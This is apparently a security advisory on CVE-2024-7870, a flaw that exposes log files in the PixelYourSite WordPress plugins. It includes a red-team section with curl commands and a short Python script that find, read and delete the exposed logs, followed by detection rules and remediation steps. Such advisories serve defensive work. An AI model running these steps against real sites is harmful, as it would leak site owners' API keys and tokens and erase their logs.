CVE-2024-7870

Executive Summary

CVE-2024-7870 is a Sensitive Information Exposure vulnerability affecting the PixelYourSite and PixelYourSite PRO WordPress plugins. The flaw resides in the improper handling of log files, which are stored in a publicly accessible directory without authentication or access controls. An unauthenticated attacker can enumerate and read these log files, potentially exposing sensitive data such as API keys, user tokens, and internal system information. Additionally, the attacker can delete log files, which may disrupt debugging and monitoring capabilities. The vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched, leaving all sites using these plugins at risk.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The log files are generated by the plugin itself and stored within the WordPress installation directory. The issue is not related to the underlying web server (Apache or Nginx) but rather to the plugin's insecure file handling practices.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Sensitive data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 6.5, the ease of exploitation and potential for data leakage (API keys, tokens) elevates the risk for affected sites.

Deep Dive & Mechanics

The PixelYourSite plugin, used for managing tracking pixels and tags, generates log files for debugging and analytics purposes. These log files are stored in a predictable directory (e.g., /wp-content/uploads/pixelyoursite-logs/) without any access control. The vulnerability allows an unauthenticated attacker to:

1. Enumerate log files: By accessing the directory listing or guessing filenames (e.g., debug.log, error.log).
2. Read log contents: The logs may contain sensitive information such as:
   • API keys for third-party services (e.g., Facebook, Google).
   • User session tokens.
   • Internal IP addresses and server paths.
   • Debug output revealing plugin configuration.
3. Delete log files: Using HTTP DELETE requests or direct file manipulation, an attacker can remove logs, potentially hiding their tracks or disrupting debugging.

The root cause is the lack of authentication and proper file permissions on the log directory. The plugin does not implement any checks to verify if the requestor is authorized to access or delete log files.

Vulnerable vs. Patched Code

Since no official patch exists, the following represents the vulnerable code pattern and a recommended fix.

Vulnerable Code (PHP):

// In pixelyoursite.php or similar
function pys_log($message) {
    $log_file = WP_CONTENT_DIR . '/uploads/pixelyoursite-logs/debug.log';
    file_put_contents($log_file, $message . PHP_EOL, FILE_APPEND);
}

// Public endpoint to view logs (no authentication)
add_action('wp_ajax_nopriv_pys_view_log', 'pys_view_log');
function pys_view_log() {
    $log_file = WP_CONTENT_DIR . '/uploads/pixelyoursite-logs/debug.log';
    if (file_exists($log_file)) {
        readfile($log_file);
    }
    wp_die();
}

Patched Code (Recommended):

// Add authentication check
function pys_view_log() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $log_file = WP_CONTENT_DIR . '/uploads/pixelyoursite-logs/debug.log';
    if (file_exists($log_file)) {
        readfile($log_file);
    }
    wp_die();
}

// Move logs outside web root or add .htaccess protection
// In .htaccess:
// <FilesMatch "\.log$">
//   Require all denied
// </FilesMatch>

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with PixelYourSite plugin (version <= 9.7.1) or PixelYourSite PRO (version <= 10.4.2).
• No authentication required.

Steps:

1. Enumerate log files:

   curl -s "http://target.com/wp-content/uploads/pixelyoursite-logs/"
   

   If directory listing is enabled, you'll see log files. Otherwise, try common names:

   curl -s "http://target.com/wp-content/uploads/pixelyoursite-logs/debug.log"
   curl -s "http://target.com/wp-content/uploads/pixelyoursite-logs/error.log"
   

2. Read log contents:

   curl -s "http://target.com/wp-content/uploads/pixelyoursite-logs/debug.log"
   

   Look for API keys, tokens, or sensitive data.

3. Delete log files (if writable):

   curl -X DELETE "http://target.com/wp-content/uploads/pixelyoursite-logs/debug.log"
   

Automated Exploit (Python):

import requests

target = "http://target.com"
log_dir = "/wp-content/uploads/pixelyoursite-logs/"
log_files = ["debug.log", "error.log", "pys.log"]

for log in log_files:
    url = target + log_dir + log
    r = requests.get(url)
    if r.status_code == 200:
        print(f"[+] Found: {url}")
        print(r.text[:500])  # Print first 500 chars

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor log file access: Look for unusual GET requests to /wp-content/uploads/pixelyoursite-logs/.
2. Check for DELETE requests: Unusual HTTP DELETE methods to log files.
3. Review server logs: Identify IPs accessing log files without authentication.

Honeypot Setup:

• Create a fake log file with decoy data to lure attackers.
• Monitor access to this file and alert on any hits.

Indicators of Compromise (IOCs)

• File Paths:

  • /wp-content/uploads/pixelyoursite-logs/debug.log
  • /wp-content/uploads/pixelyoursite-logs/error.log
  • /wp-content/uploads/pixelyoursite-logs/pys.log

• Network Indicators:

  • HTTP GET requests to /wp-content/uploads/pixelyoursite-logs/ from unknown IPs.
  • HTTP DELETE requests to .log files in that directory.

• Log Entries:

  • Unauthorized access attempts to log files (404s if files don't exist, 200s if they do).
  • Sudden deletion of log files.

Detection Engineering

YARA Rule

rule CVE_2024_7870_PixelYourSite_Log_Exposure {
    meta:
        description = "Detects access to PixelYourSite log files indicating CVE-2024-7870 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7870"
    strings:
        $log_path = "/wp-content/uploads/pixelyoursite-logs/"
        $log_ext = ".log"
    condition:
        $log_path and $log_ext
}

Sigma Rule

title: CVE-2024-7870 PixelYourSite Log File Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to PixelYourSite log files
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem|contains: "/wp-content/uploads/pixelyoursite-logs/"
        cs-uri-stem|endswith: ".log"
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7870 PixelYourSite Log File Access"; flow:to_server; content:"/wp-content/uploads/pixelyoursite-logs/"; http_uri; content:".log"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable log file generation: If not needed, disable logging in the plugin settings.
2. Restrict access via .htaccess: Add the following to /wp-content/uploads/pixelyoursite-logs/.htaccess:

   Require all denied
   

3. Move logs outside web root: Modify the plugin to store logs in a non-public directory (e.g., /var/log/pixelyoursite/).

Long-term Fix:

• Apply the patched code example above to add authentication checks.
• Monitor the vendor for an official patch and apply it immediately when released.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to /wp-content/uploads/pixelyoursite-logs/.

Valters IT